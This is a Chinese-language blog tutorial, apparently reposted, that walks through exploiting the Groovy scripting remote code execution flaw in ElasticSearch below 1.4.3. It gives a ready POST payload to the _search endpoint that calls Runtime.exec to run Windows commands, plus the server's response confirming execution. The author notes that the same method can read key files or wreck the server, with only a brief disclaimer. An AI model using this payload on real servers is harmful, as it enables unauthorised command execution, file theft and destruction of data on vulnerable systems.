关于ElasticSearch1.4.3以下版本安全漏洞的攻击过程

ElasticSearch1.4.3以下有几个版本可以执行groovy脚本,这个被利用后可以直接调用Widows的cmd命令和Linux的shell。网上有一些文章,但是写的不够接地气,这里我复现了这个漏洞的攻击过程,重新写下。

第一步:安装Firefox的Hackbar插件,安装好好,如图所示:

关于ElasticSearch1.4.3以下版本安全漏洞的攻击过程复现

第二步:在浏览器地址栏敲::9200/_search?pretty,注意这里可以是你自己全文检索服务器的IP和端口号,然后点击回车;

第三步:选择Enable Post data这个复选框,然后将以下脚本填入Post data选项:

{
  "size":1,
  "script_fields": {
    "test#": {
      "script": "Java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cmd /c copy c:\\\\error.txt d:\\\\zhaich.txt \")", "lang":"groovy"
    }
  }
 }


    第四步:单击左侧的“Execute“按钮。

第五步:查看结果:

{
  "took" : 36,
  "timed_out" : false,
  "_shards" : {
    "total" : 10,
    "successful" : 10,
    "failed" : 0
  },
  "hits" : {
    "total" : 3357,
    "max_score" : 1.0,
    "hits" : [ {
      "_index" : "shopinfo",
      "_type" : "shopinfo",
      "_id" : "0EyqahDXQjSReepWJP2iYw",
      "_score" : 1.0,
      "fields" : {
        "test#" : [ "java.lang.ProcessImpl@7b0a3486" ]
      }
    } ]
  }
}


这代码说明代码执行成功,也就是说如果服务器上运行elasticsearch的用户有多大权限,这个cmd或者shell就能完成多大权限的功能。这里是拷贝记事本,如果是换成读取文件也是可以的,这样就可以获取服务器上的关键文件,也可以摧毁服务器(当然了一般都不会这样搞,岂不是断了自己的”财路“)。

好了,以上就是基本的攻击攻击过程。希望大家注意,切不要用来攻击别人,可以作安全试验。整个和struts之前的漏洞非常类似。

Elasticsearch安装使用教程

ElasticSearch 配置文件译文解析

ElasticSearch集群搭建实例 

分布式搜索ElasticSearch单机与服务器环境搭建 

ElasticSearch的工作机制 

ElasticSearch 的详细介绍请点这里
ElasticSearch 的下载地址请点这里

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/a29e8d38ca1847e20e18ad5c70861848.html